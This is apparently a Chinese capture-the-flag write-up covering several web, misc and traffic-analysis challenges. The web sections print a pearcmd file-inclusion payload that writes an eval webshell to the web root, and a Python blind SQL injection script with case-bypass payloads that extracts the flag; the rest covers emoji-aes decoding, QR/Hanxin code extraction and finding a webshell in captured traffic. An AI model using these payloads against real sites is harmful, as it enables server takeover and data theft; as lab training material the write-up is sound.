web

Include 🍐

经典文件包含写shell,进行rce,

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php
error_reporting(0);
if(isset($_GET['file'])) {
$file = $_GET['file'];

if(preg_match('/flag|log|session|filter|input|data/i', $file)) {
die('hacker!');
}

include($file.".php");
# Something in phpinfo.php!
}
else {
highlight_file(__FILE__);
}
?>

打phpinfo的时候,是存在假flag的的,fake{Check_register_argc_argv},让打这个register_argc_argv函数

image-20231127153538006

经典打法,看这函数是否是on

image-20231127153719625

直接poc打,写入文件即可,/?file=/usr/local/lib/php/pearcmd&aaaa+config-create+/var/www/html/<?=eval($_POST[1]);?>+32.php

详细见大师傅博客https://cloud.tencent.com/developer/article/2204400?areaId=106001

即可写入webshell,建议burp中打,不然容易乱码。

image-20231127153922543

image-20231127153942182

medium_sql

好像和上周的一样,大小写绕过即可

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43

# 导入所需模块
import requests
import string
import time

# 构造字母表,根据字母表去爆破每一位的具体值
alphabet = "-,}{_=" + string.ascii_letters + string.digits
print(alphabet)

# 题目的URL
url = "http://eacaf619-8013-4e77-b7fb-608613da574e.node4.buuoj.cn:81/?id=TMP11503"

# 注入什么数据,select变量就写什么子查询语句
select = "select database()"
select = "select group_concat(table_name) from information_schema.tables where table_schema=database()" #获取所有库名
select = "select group_concat(table_name) from information_schema.tables where table_schema='ctf'" #获取表名
select = "select group_concat(column_name) from information_schema.columns where table_schema='ctf' and table_name='here_is_flag'"#获取字段名

select = "select flag from ctf.here_is_flag"


# 用来保存注入出的结果
result = ""

for i in range(1,100): # 外层循环,从1开始,因为截取的位数是从1开始的

for ch in alphabet: # 内层循环,是具体需要测试的值
# 构造SQL语句,发起请求
#payload = f"' AND subStr((selEct database()) ,{i},1) = '{ch}' AND 'YSGl'='YSGl"
payload = f"' AND subStr((SELECT flag FROM here_is_flag) ,{i},1) = '{ch}' AND 'YSGl'='YSGl"
r = requests.get(url=url+payload)
# 根据回显判断,如果得到了表示查询成功的回显,那么说明判断数据的这一位是正确的
if ord(ch) < 66 :
time.sleep(3)
if "class_name" in r.text:
result += ch
print("注入成功:", result)
#print(url+payload)

break # 这一位已经跑出来了,可以break掉然后下一轮循环跑下一位数据了


image-20231127161313732

misc

阳光开朗大男孩

社会主义核心价值码+emoji-aes
image-20231127163200996

拿到passwd,直接解即可https://aghorler.github.io/emoji-aes/

image-20231127163222217

大怨种

gif里面有二维码,用stegsolve即可,点击analyse->framebrowser,左右点点即可。

是一个汉信码,百度汉信码解码找一个,image-20231127163841521

2-分析

但你心中仍然有一种不祥的预感,这时你的同事告诉你这台服务器已经被攻击者获取到了权限,需要你尽快去还原攻击者的攻击路径,调查清楚攻击者是如何获取到服务器权限的。;FLAG格式flag{md5(攻击者登录使用的用户名_存在漏洞的文件名_WebShell文件名)};例如flag{testuser_123.php_shell.php},将括号内的内容进行md5编码得到flag{58aec571c731faae1369b461d3927596}即为需要提交的Flag

``http.request.method==”POST”`登录的话直接过滤post方式,第一个就是

image-20231127164806365

302说明成功,user就是best_admin

然后筛选马子,正常上传文件也是POST,但是这次不是,我没可以http.response.code!=404因为里面有很多扫描的信息,执行命令肯定有回显,所以从下点点看回显包,这里注意404不要加引号image-20231127170220126

可以看到在index.php,执行了get命令,打了get的马子,那么

flag=best_admin_index.php_wh1t3g0d.php的md5=4069afd7089f7363198d899385ad688b

medium_sql
medium_sql